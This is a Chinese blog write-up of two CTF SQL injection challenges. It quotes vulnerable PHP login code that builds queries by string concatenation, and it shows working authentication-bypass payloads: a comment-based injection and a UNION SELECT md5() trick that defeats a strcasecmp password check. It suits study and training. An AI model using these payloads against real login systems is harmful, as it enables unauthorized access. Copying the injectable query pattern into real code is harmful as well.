mysql注入ctf_CG-CTF SQL注入

这篇博客详细介绍了两个CTF挑战中的MySQL注入问题。第一个挑战中,通过利用注释符来闭合SQL查询,绕过pass验证,成功获取flag。第二个挑战中,借助union查询,构造了一个使strcasecmp函数返回0的条件,从而达到登录目标。博客还讲解了strcasecmp函数和union查询的基本原理。
摘要由CSDN通过智能技术生成

SQL注入1

题目

c012a2883fc50650a67610c14ed86dd3.png

访问题目网址

277817366abd2c6f351782d14588a890.png

先查看一下源码

9d451c44a73b545ec782ccf2a3d20d73.png

仔细分析一下核心源码

if($_POST[user] && $_POST[pass]) { //判断user和pass两个变量不为空

mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); //连接数据库

mysql_select_db(SAE_MYSQL_DB); //选择要使用的库

$user = trim($_POST[user]); //去除输入的user变量两侧的空白字符

$pass = md5(trim($_POST[pass])); //去除pass变量两侧空白字符再进行md5加密

$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; //根据输入的user和pass构造查询语句

echo ''.$sql; //回显查找语句

$query = mysql_fetch_array(mysql_query($sql)); //使用构造的查询语句查询数据库并返回结果集

if($query[user]=="admin") {

echo "

Logged in! flag:********************

";

}

if($query[user] != "admin") {

echo("

You are not admin!

");

} //判断结果集中的user参数对应的值是不是admin,如果是返回flag,不是则返回 You are not admin!

}

echo $query[user]; //回显查询到的user值

?>

通过分析源码知道了user的值为admin,因为sql查询语句里有and,必须and前后同时成立才可以查询,但是现在不知道pass对应的值,所以考虑能不能不判断pass,直接判断user,于是想到是不是可以将user判断语句闭合并注释后面的内容,这样就不会对pass进行判断,pass就直接输入111,于是构造下面的语句。

40107e9c49add9afd04225493ef2c59f.png

这样的话查询语句就变成了

select user from ctf where (user='admin') #') and (pw='111')

尝试提交看看会不会返回flag。

dd40c87db587bc810230b4940930dcc5.png

成功拿到flag

补充:Mysql的注释语句有三种

1./* */

注释一段内容,这里明显不适用。

2.--

注释-- 后的语句直到行尾,注意这里的--后面要有一个空格,但是题目中使用了trim()函数去除空格,所以也不适用。

3.#

注释#后的语句直到行尾。

SQL注入2

题目

bcdf014a8b489e8e2bd9e9f412369b5e.png

访问题目网址

1ab394f5ab74e3a551dab52f4192e2b4.png

还是先查看一下源码

243b977231a3199a06dc556d03fb2b82.png

分析核心源码

if($_POST[user] && $_POST[pass]) {

mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);

mysql_select_db(SAE_MYSQL_DB);

$user = $_POST[user];

$pass = md5($_POST[pass]);

$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));

if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {

echo "

Logged in! Key: ntcf{**************}

";

}

else {

echo("

Log in failure!

");

}

}

?>

找到最关键的语句

if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {

echo "

Logged in! Key: ntcf{**************}

";

}

else {

echo("

Log in failure!

");

}

解题思路:

1.可以看到这里只对密码进行了对比,没有进行user的对比,所以应该考虑怎么使得$query[pw]存在且strcasecmp($pass, $query[pw]))为假。

2.$query[pw]是MySQL查询结果集中的值,只要MySQL语句返回值即可存在。

要使strcasecmp($pass, $query[pw])为假,就要使得$pass的值小于等于$query[pw](比较ASCII码)。$pass是我们输入值的md5值,$query[pw]是数据库中的正确密码。因为$pass是md5值,32位,而$query[pw]不知道,所以看看能不能将$query[pw]的值构造成我们需要的32位,且大于$pass的值,根据题目的提示,考察union联合查询,尝试构造如下语句:

select pw from ctf where user=''union select md5(2)#'

这个语句的输出因为闭合了user,user为空,查不到任何值,而后面select md5(2),则会返回2的md5值,所以返回的结果会变成下面这样:

+----------------------------------+

| pw |

+----------------------------------+

| c81e728d9d4c2f636f067f89cc14862c |

+----------------------------------+

这样从$query[pw]查询到的值就会变成2的md5值,这时我密码输入2,这样经过strcasecmp()函数的对比会返回0,达到目的。

b8a6ce7768a0e668900400b65ebb676a.png

626eb45e6b7706a2f19175815981a933.png

成功拿到flag

补充:

1.strcasecmp(str1,str2)函数

strcasecmp(str1,str2)函数返回的结果是比较两个字符串的ASCII码,从第一位开始,相等就比较下一位,如果比较过程中,一旦出现str1的某一个字符的ASCII码和str2的不等,那么将返回这两个字符的ASCII码值之差。

718c61190dfcafc12d56e1631472e113.png

2.union联合查询

当使用union联合查询时,前一个select查询的列名将会作为输出结果的列名,后一个select只会返回查询列的内容,而没有列名。

union前后查询列名一致

mysql> select * from t2;

+----+-------+

| id | score |

+----+-------+

| 1 | 33 |

+----+-------+

1 row in set (0.00 sec)

mysql> select * from t5;

+-----------+---------+------+

| user | pw | id |

+-----------+---------+------+

| admin | 000000 | NULL |

| admin2 | 1000000 | NULL |

| gubeiqing | gu | 10 |

+-----------+---------+------+

3 rows in set (0.00 sec)

mysql> select id from t2 union select id from t5;

+------+

| id |

+------+

| 1 |

| NULL |

| 10 |

+------+

3 rows in set (0.00 sec)

union前后查询列名不一致

mysql> select * from t2;

+----+-------+

| id | score |

+----+-------+

| 1 | 33 |

+----+-------+

1 row in set (0.00 sec)

mysql> select * from t5;

+-----------+---------+------+

| user | pw | id |

+-----------+---------+------+

| admin | 000000 | NULL |

| admin2 | 1000000 | NULL |

| gubeiqing | gu | 10 |

+-----------+---------+------+

3 rows in set (0.00 sec)

mysql> select id from t2 union select pw from t5;

+---------+

| id |

+---------+

| 1 |

| 000000 |

| 1000000 |

| gu |

+---------+

4 rows in set (0.00 sec)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值